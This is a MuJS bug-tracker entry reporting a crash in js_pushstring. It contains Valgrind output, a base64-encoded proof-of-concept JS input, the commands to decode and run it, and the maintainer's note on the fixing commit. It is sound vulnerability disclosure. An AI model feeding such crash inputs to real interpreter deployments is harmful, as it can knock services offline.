Bug 697497

Summary: Integer Overflow and crash in 'js_pushstring' function in jsrun.c
Product: MuJS Reporter: op7ic <op7ica>
Component: generalAssignee: Tor Andersson <tor.andersson>
Status: RESOLVED FIXED    
Severity: normal    
Priority: P4    
Version: unspecified   
Hardware: PC   
OS: Windows NT   
Customer: Word Size: ---

Description op7ic 2017-01-23 04:44:38 UTC
Howdy there is a int overflow in js_pushstring function in jsrun.c source when parsing corrupted JS input.

Version:
latest from git as of 23/01/2017

Vulnerable Source file: 
mujs/jsrun.c

Function:
js_pushstring  

Compile Flags
CFLAGS += -g3 -ggdb -O0

Compile Command: 
make


Valgrind shows it pretty clear: 

valgrind ./mujs-clean/build/mujs PoC.js
==1340== Memcheck, a memory error detector
==1340== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1340== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1340== Command: ./mujs-clean/build/mujs PoC.js
==1340==
==1340== Invalid read of size 1
==1340==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1340==    by 0x403E80: js_pushstring (jsrun.c:114)
==1340==    by 0x41611A: Ap_join (jsarray.c:138)
==1340==    by 0x416DA7: Ap_toString (jsarray.c:398)
==1340==    by 0x406F77: jsR_callcfunction (jsrun.c:1023)
==1340==    by 0x4072A0: js_call (jsrun.c:1065)
==1340==    by 0x409CCE: jsV_toString (jsvalue.c:56)
==1340==    by 0x409EBB: jsV_toprimitive (jsvalue.c:103)
==1340==    by 0x40A4B7: jsV_tonumber (jsvalue.c:209)
==1340==    by 0x4047B9: js_tonumber (jsrun.c:261)
==1340==    by 0x408C6F: jsR_run (jsrun.c:1484)
==1340==    by 0x406EBD: jsR_callscript (jsrun.c:1006)
==1340==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1340==
==1340==
==1340== Process terminating with default action of signal 11 (SIGSEGV)
==1340==  Access not within mapped region at address 0x0
==1340==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1340==    by 0x403E80: js_pushstring (jsrun.c:114)
==1340==    by 0x41611A: Ap_join (jsarray.c:138)
==1340==    by 0x416DA7: Ap_toString (jsarray.c:398)
==1340==    by 0x406F77: jsR_callcfunction (jsrun.c:1023)
==1340==    by 0x4072A0: js_call (jsrun.c:1065)
==1340==    by 0x409CCE: jsV_toString (jsvalue.c:56)
==1340==    by 0x409EBB: jsV_toprimitive (jsvalue.c:103)
==1340==    by 0x40A4B7: jsV_tonumber (jsvalue.c:209)
==1340==    by 0x4047B9: js_tonumber (jsrun.c:261)
==1340==    by 0x408C6F: jsR_run (jsrun.c:1484)
==1340==    by 0x406EBD: jsR_callscript (jsrun.c:1006)
==1340==  If you believe this happened as a result of a stack
==1340==  overflow in your program's main thread (unlikely but
==1340==  possible), you can try to increase the size of the
==1340==  main thread stack using the --main-stacksize= flag.
==1340==  The main thread stack size used in this run was 8388608.
==1340==
==1340== HEAP SUMMARY:
==1340==     in use at exit: 129,584 bytes in 1,269 blocks
==1340==   total heap usage: 1,343 allocs, 74 frees, 136,545 bytes allocated
==1340==
==1340== LEAK SUMMARY:
==1340==    definitely lost: 0 bytes in 0 blocks
==1340==    indirectly lost: 0 bytes in 0 blocks
==1340==      possibly lost: 0 bytes in 0 blocks
==1340==    still reachable: 129,584 bytes in 1,269 blocks
==1340==         suppressed: 0 bytes in 0 blocks
==1340== Rerun with --leak-check=full to see details of leaked memory
==1340==
==1340== For counts of detected and suppressed errors, rerun with: -v
==1340== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault



PoC (base64 encoded):
KyBBcnJheSggbnVsbC00KQ==


PoC execution:

base64 -d /tmp/b64PoC.poc > /tmp/proof.js
valgrind ./mujs-clean/build/mujs /tmp/proof.js
Comment 1 Tor Andersson 2017-01-24 06:30:50 UTC
Fixed in commit 4006739a28367c708dea19aeb19b8a1a9326ce08
Author: Tor Andersson <tor.andersson@gmail.com>
Date:   Tue Jan 24 14:42:36 2017 +0100

    Fix 697497: Ensure array length is positive.
    
    As a side effect when changing to using regular integers (and avoid the
    nightmare of mixing signed and unsigned) we accidentally allowed negative
    array lengths.